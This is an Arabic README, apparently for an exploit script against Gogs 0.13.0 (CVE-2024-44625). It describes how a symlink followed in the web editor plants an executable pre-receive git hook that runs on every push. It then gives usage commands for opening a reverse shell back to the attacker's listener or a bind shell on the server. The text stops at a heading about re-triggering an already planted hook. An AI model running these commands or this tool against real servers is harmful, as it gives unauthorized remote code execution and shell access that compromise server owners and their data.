CVE-2024-44625 وGogs-RCE-0.13.0

تم التحقق من صحته ضد إصدار Gogs من حقبة 0.13.0 خلف وكيل عكسي. البدائية: متابعة الرمزية في محرر الويب إلى ملف .git/hooks/pre-receive غير الموجود ينشئ هذا الملف (قابل للتنفيذ). كل عملية دفع لاحقة إلى المستودع تقوم بتشغيله.

الاستخدام:

شل عكسية (شغّل المستمع أولاً: nc -lvnp 4444)

python3 gogs_rce_shell.py --url http://host --user admin1 --pass 'P@ss' \
    --mode reverse --lhost <YOUR_IP> --lport 4444

شل مرتبطة (ثم اتصل: nc )

python3 gogs_rce_shell.py --url http://host --user admin1 --pass 'P@ss' \
    --mode bind --bind-port 5555

إعادة تشغيل الخطاف الموجود (المستودع مسموم بالفعل) دون إعادة الزرع: